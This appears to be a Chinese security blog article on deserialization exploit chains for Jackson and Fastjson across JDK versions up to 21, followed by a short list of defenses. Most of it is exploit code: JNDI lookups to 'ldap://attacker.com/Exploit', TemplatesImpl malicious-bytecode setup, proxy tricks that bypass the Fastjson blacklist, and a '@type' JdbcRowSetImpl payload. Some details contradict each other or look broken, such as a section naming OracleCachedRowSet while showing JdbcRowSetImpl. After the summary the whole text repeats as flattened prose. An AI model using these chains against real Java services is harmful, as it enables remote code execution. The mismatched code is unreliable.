Java反序列化通杀之 Jackson JDK全版本通杀 + Fastjson全版本通杀链
字数 1289 2025-08-27 12:33:22

Java反序列化漏洞通杀链分析:Jackson与Fastjson全版本利用

1. 背景概述

Java反序列化漏洞长期以来是Java应用安全的重大威胁。本文详细分析两种主流JSON库(Jackson和Fastjson)的全版本通杀利用链,涵盖从低版本到最新版本(包括JDK 21)的利用技术。

2. Jackson反序列化通杀链

2.1 基本利用原理

Jackson在反序列化时,会通过反射调用对象的getter方法,这为攻击链的构造提供了可能。

2.2 OracleCachedRowSet + Jackson链

核心EXP结构

// 使用OracleCachedRowSet构造恶意对象
OracleCachedRowSet rowSet = new OracleCachedRowSet();
rowSet.setDataSourceName("ldap://attacker.com/Exploit");
rowSet.setCommand("");

// 使用AopProxy增强稳定性
Object proxy = ProxyUtil.getBProxy(rowSet);

ProxyUtil关键实现

public class ProxyUtil {
    public static Object getBProxy(Object target) {
        return Proxy.newProxyInstance(
            target.getClass().getClassLoader(),
            target.getClass().getInterfaces(),
            new JdkDynamicAopProxy(target)
        );
    }
    
    public static Object getAProxy(Object target, Class<?> interfaceClass) {
        return Proxy.newProxyInstance(
            target.getClass().getClassLoader(),
            new Class[]{interfaceClass},
            new JdkDynamicAopProxy(target)
        );
    }
}

技术要点

  1. 使用JdkDynamicAopProxy可以稳定触发getter方法
  2. 代理对象保持了原始对象的接口,确保Jackson能正确反序列化

2.3 JDK高版本(17+)绕过技术

从JDK 17开始,由于模块化限制,TemplatesImpl类不可直接使用:

// JDK 17+绕过方案
Class<?> templatesClass = Class.forName("javax.xml.transform.Templates");
Object proxy = Proxy.newProxyInstance(
    templatesClass.getClassLoader(),
    new Class[]{templatesClass},
    (proxy1, method, args) -> {
        // 恶意逻辑
        return getTemplatesImpl();
    }
);

编译和运行参数

--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED

2.4 触发点选择

高版本中不再使用BadAttributeValueExpException,原因:

  • JDK高版本中BadAttributeValueExpException.val被限制为String类型

替代方案使用EventListenerList

// 使用EventListenerList触发链
EventListenerList list = new EventListenerList();
list.add(SomeInterface.class, proxy);

2.5 TemplatesImpl利用细节

标准利用条件

  1. classCount参数 > 1(生成类的数量大于1)
  2. _transletIndex ≥ 0(指定恶意类索引,默认为-1)

Bypass AbstractTranslet版本

// 不依赖AbstractTranslet的实现
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_classCount", 2);  // 关键设置
setField(templates, "_transletIndex", 0);  // 关键设置

3. Fastjson全版本通杀链

3.1 Fastjson 2.0.27+防御机制

  • 引入了黑名单机制
  • 后续版本改用哈希黑名单,增加分析难度

3.2 绕过黑名单技术

观察

  • TemplatesImpl在黑名单中
  • Templates接口不在黑名单中

绕过方案

// 通过代理Templates接口绕过
Class<?> templatesClass = Class.forName("javax.xml.transform.Templates");
Object proxy = Proxy.newProxyInstance(
    templatesClass.getClassLoader(),
    new Class[]{templatesClass},
    (proxy1, method, args) -> {
        return getTemplatesImpl();
    }
);

3.3 OracleCachedRowSet利用

虽然Fastjson引入了黑名单,但OracleCachedRowSet未被有效防御:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
}

4. 防御建议

  1. Jackson防御

    • 启用DefaultTyping的安全模式
    • 使用@JsonTypeInfo注解明确指定允许的类型
    • 配置ObjectMapper禁用不安全的特性
  2. Fastjson防御

    • 升级到最新版本
    • 使用SafeMode配置
    • 自定义ParserConfig设置严格白名单
  3. 通用防御

    • JVM参数限制反序列化
    • 使用Security Manager限制敏感操作
    • 监控和过滤可疑的序列化数据

5. 总结

本文详细分析了Jackson和Fastjson在各类JDK版本下的反序列化利用技术,关键点包括:

  • 使用AopProxy增强Jackson链稳定性
  • JDK高版本通过代理接口绕过模块化限制
  • Fastjson通过接口代理绕过黑名单
  • TemplatesImpl的参数设置技巧

这些技术极大扩展了Java反序列化的攻击面,开发者需高度重视相关防御措施。

Java反序列化漏洞通杀链分析:Jackson与Fastjson全版本利用 1. 背景概述 Java反序列化漏洞长期以来是Java应用安全的重大威胁。本文详细分析两种主流JSON库(Jackson和Fastjson)的全版本通杀利用链,涵盖从低版本到最新版本(包括JDK 21)的利用技术。 2. Jackson反序列化通杀链 2.1 基本利用原理 Jackson在反序列化时,会通过反射调用对象的getter方法,这为攻击链的构造提供了可能。 2.2 OracleCachedRowSet + Jackson链 核心EXP结构 : ProxyUtil关键实现 : 技术要点 : 使用 JdkDynamicAopProxy 可以稳定触发getter方法 代理对象保持了原始对象的接口,确保Jackson能正确反序列化 2.3 JDK高版本(17+)绕过技术 从JDK 17开始,由于模块化限制, TemplatesImpl 类不可直接使用: 编译和运行参数 : 2.4 触发点选择 高版本中不再使用 BadAttributeValueExpException ,原因: JDK高版本中 BadAttributeValueExpException.val 被限制为String类型 替代方案使用 EventListenerList : 2.5 TemplatesImpl利用细节 标准利用条件 : classCount 参数 > 1(生成类的数量大于1) _transletIndex ≥ 0(指定恶意类索引,默认为-1) Bypass AbstractTranslet版本 : 3. Fastjson全版本通杀链 3.1 Fastjson 2.0.27+防御机制 引入了黑名单机制 后续版本改用哈希黑名单,增加分析难度 3.2 绕过黑名单技术 观察 : TemplatesImpl 在黑名单中 Templates 接口不在黑名单中 绕过方案 : 3.3 OracleCachedRowSet利用 虽然Fastjson引入了黑名单,但 OracleCachedRowSet 未被有效防御: 4. 防御建议 Jackson防御 : 启用 DefaultTyping 的安全模式 使用 @JsonTypeInfo 注解明确指定允许的类型 配置 ObjectMapper 禁用不安全的特性 Fastjson防御 : 升级到最新版本 使用 SafeMode 配置 自定义 ParserConfig 设置严格白名单 通用防御 : JVM参数限制反序列化 使用Security Manager限制敏感操作 监控和过滤可疑的序列化数据 5. 总结 本文详细分析了Jackson和Fastjson在各类JDK版本下的反序列化利用技术,关键点包括: 使用AopProxy增强Jackson链稳定性 JDK高版本通过代理接口绕过模块化限制 Fastjson通过接口代理绕过黑名单 TemplatesImpl的参数设置技巧 这些技术极大扩展了Java反序列化的攻击面,开发者需高度重视相关防御措施。